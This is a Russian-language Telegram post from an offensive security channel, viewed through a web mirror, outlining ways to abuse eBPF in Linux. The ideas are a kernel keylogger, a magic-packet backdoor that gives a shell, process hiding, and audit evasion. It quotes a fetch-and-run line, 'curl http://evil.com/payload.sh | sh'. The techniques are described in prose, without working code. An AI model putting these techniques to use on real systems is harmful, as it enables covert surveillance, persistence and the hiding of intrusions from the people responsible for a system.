TGViewer
Proxy Bar Proxy Bar @proxy_bar · 21.5K subscribers
Post #3328 8.26K
Рубрика На заметку $USERNAME@hacker.wtf - part 10
*

*
Хотя eBPF изначально это tracing (perf, bpftrace) / networking (XDP) / security (Cilium) для нас eBPF = возможность запускать свои грязные лапы по средствам программ прямо в kernel space .
Влияние на ядро без модулей !
Вся безопасность на eBPF verifier - он вроде как должен гарантировать что: нет выхода за границы, нет произвольной записи в память, нет kernel corruption и прочего непотребства.
verifier можно сломать !
verifier можно обойти !
*
CAP_BPF / CAP_SYS_ADMIN
Неочевидный кейс
### Если процесс имеет:
CAP_BPF
### или
CAP_SYS_ADMIN
##check
getcap -r / 2>/dev/null

То можно загружать eBPF программы, влиять на систему. И это не баг, а штатное поведение.
*
*
Кейлоггер в ядре
eBPF цепляется к:
sys_read
tty_read
input subsystem

И всё ! весь ввод теперь наш. нет процесса, нет бинаря, нет демона, все в kernel.
*
*
Invisible backdoor и network hook
eBPF можно повесить на socket или на tcp connect или XDP (уровень сетевухи), ииии если послать magic packet (например "0xproxybar") можно ыполнить действие (шелл отдать или payload запустить), порт не открыт, netstat ничего не показывает, firewall чист, а backdoor есть.
*
*
userspace rootkit без LKM
Концепт таков: перехватывает sys_getdents (это syscall который делает ls), если имя нашего процесса evil - не возвращаем его в список/
В итоге ps aux грустит, а evil живет свою жизнь.
*
*
Bypass audit / logging
Если запустить /tmp/evil.sh произойдет цепочка:
userspace > вызывает syscall (execve) > kernel обрабатывает syscall > auditd получает событие > поздравляю вы в танцах в логах
eBPF нужно вклинить между syscall и логированием, а именно через:
kprobe или tracepoint или LSM hooks.
Если eBPF висит на execve, можно фильтровать событий ДО логирования.
Или частая тема с сокрытием аргументов - запустили curl http://evil.com/payload.sh | sh а eBPF делает execve("/usr/bin/curl", "safe args")
Или что называется selective stealth, можно же не отключать всё, а только конкретные процессы \ команды \ UIDы:
если uid == 1000 > в логи
если uid == 1337 > в null

В Linux можно не маскировать действия, достаточно скрыть факт, что они вообще были.


#РубрикаНаЗаметкуХакеру
  • 👍 22
  • 🔥 8
  • 😱 3
More from @proxy_bar
  1. Sep 28, 2026CVE-2026-19444: kubectl 😆😆😆
  2. Sep 28, 2026Prompt Injection in the Wild
  3. Sep 24, 2026Вспомнилось ! Был такой хороший гайд Introduction to Exploit Development Сегодня он интере…
  4. Sep 23, 2026Linux container escape * PoC
  5. Sep 21, 2026Идея для "быстрых свиданий" Ну это те, которые 5 минут общаешься, потом пересаживаетесь. З…
  6. Sep 20, 2026А скиньте фотки с тусы а )))
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →